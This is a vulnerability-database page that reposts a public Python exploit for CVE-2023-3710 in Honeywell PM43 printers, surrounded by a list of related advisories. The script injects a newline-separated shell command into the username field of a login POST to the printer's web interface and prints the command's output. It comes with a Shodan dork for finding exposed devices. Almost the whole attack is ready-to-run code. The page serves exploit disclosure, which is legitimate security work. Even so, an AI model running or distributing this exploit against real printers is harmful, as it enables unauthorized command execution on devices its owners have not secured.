Lucene search
K

Honeywell PM43 < P10.19.050004 - Remote Code Execution Exploit

πŸ—“οΈΒ 14 Mar 2024Β 00:00:00Reported byΒ ByteHunterTypeΒ 
zdt
Β zdt
πŸ”—Β 0day.todayπŸ‘Β 347Β Views

Honeywell PM43 < P10.19.050004 - Remote Code Execution (RCE) CVE-2023-3710

Related
Code
ReporterTitlePublishedViews
Family
BDU FSTEC
The vulnerability of the printer web page module (ARM) of Honeywell PM43, which allows a intruder to execute arbitrary commands
21 Oct 202300:00
–bdu_fstec
Circl
CVE-2023-3710
13 Sep 202300:23
–circl
CNNVD
Honeywell Products Command Injection Vulnerability
12 Sep 202300:00
–cnnvd
CVE
CVE-2023-3710
12 Sep 202319:55
–cve
Cvelist
CVE-2023-3710 Printer web page invalid command execution
12 Sep 202319:55
–cvelist
Exploit DB
Honeywell PM43 &lt; P10.19.050004 - Remote Code Execution (RCE)
14 Mar 202400:00
–exploitdb
Nuclei
Honeywell PM43 Printers - Command Injection
7 Jun 202603:02
–nuclei
NVD
CVE-2023-3710
12 Sep 202320:15
–nvd
OSV
CVE-2023-3710
12 Sep 202320:15
–osv
Packet Storm
Honeywell PM43 Remote Code Execution
14 Mar 202400:00
–packetstorm
Rows per page
#- Exploit Title: Honeywell PM43 < P10.19.050004 - Remote Code Execution (RCE)
#- Shodan Dork: http.title:PM43 , PM43
#- Exploit Author: ByteHunter
#- Email: [emailΒ protected]
#- Frimware Version: versions prior to P10.19.050004
#- Tested on: P10.17.019667
#- CVE : CVE-2023-3710


import requests
import argparse

BLUE = '\033[94m'
YELLOW = '\033[93m'
RESET = '\033[0m'

def banner():
    banner = """
    ╔════════════════════════════════════════════════╗
        CVE-2023-3710   
        Command Injection in Honeywell PM43 Printers
        Author: ByteHunter      
    β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•
    """
    print(YELLOW + banner + RESET)


def run_command(url, command):
    full_url = f"{url}/loadfile.lp?pageid=Configure"
    payload = {
        'username': f'hunt\n{command}\n',
        'userpassword': 'admin12345admin!!'
    }
    try:
        response = requests.post(full_url, data=payload, verify=False)
        response_text = response.text
        html_start_index = response_text.find('<html>')
        if html_start_index != -1:
            return response_text[:html_start_index]
        else:
            return response_text  
    except requests.exceptions.RequestException as e:
        return f"Error: {e}"

def main():
    parser = argparse.ArgumentParser(description='Command Injection PoC for Honeywell PM43 Printers')
    parser.add_argument('--url', dest='url', help='Target URL', required=True)
    parser.add_argument('--run', dest='command', help='Command to execute', required=True)

    args = parser.parse_args()

    response = run_command(args.url, args.command)
    print(f"{BLUE}{response}{RESET}")

if __name__ == "__main__":
    banner()
    main()

Data

Build on a solid foundation withΒ Vulners data

WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data

Api

Power your application withΒ Vulners API

The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access

App

Assess and manage vulnerabilities withΒ VulnersΒ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation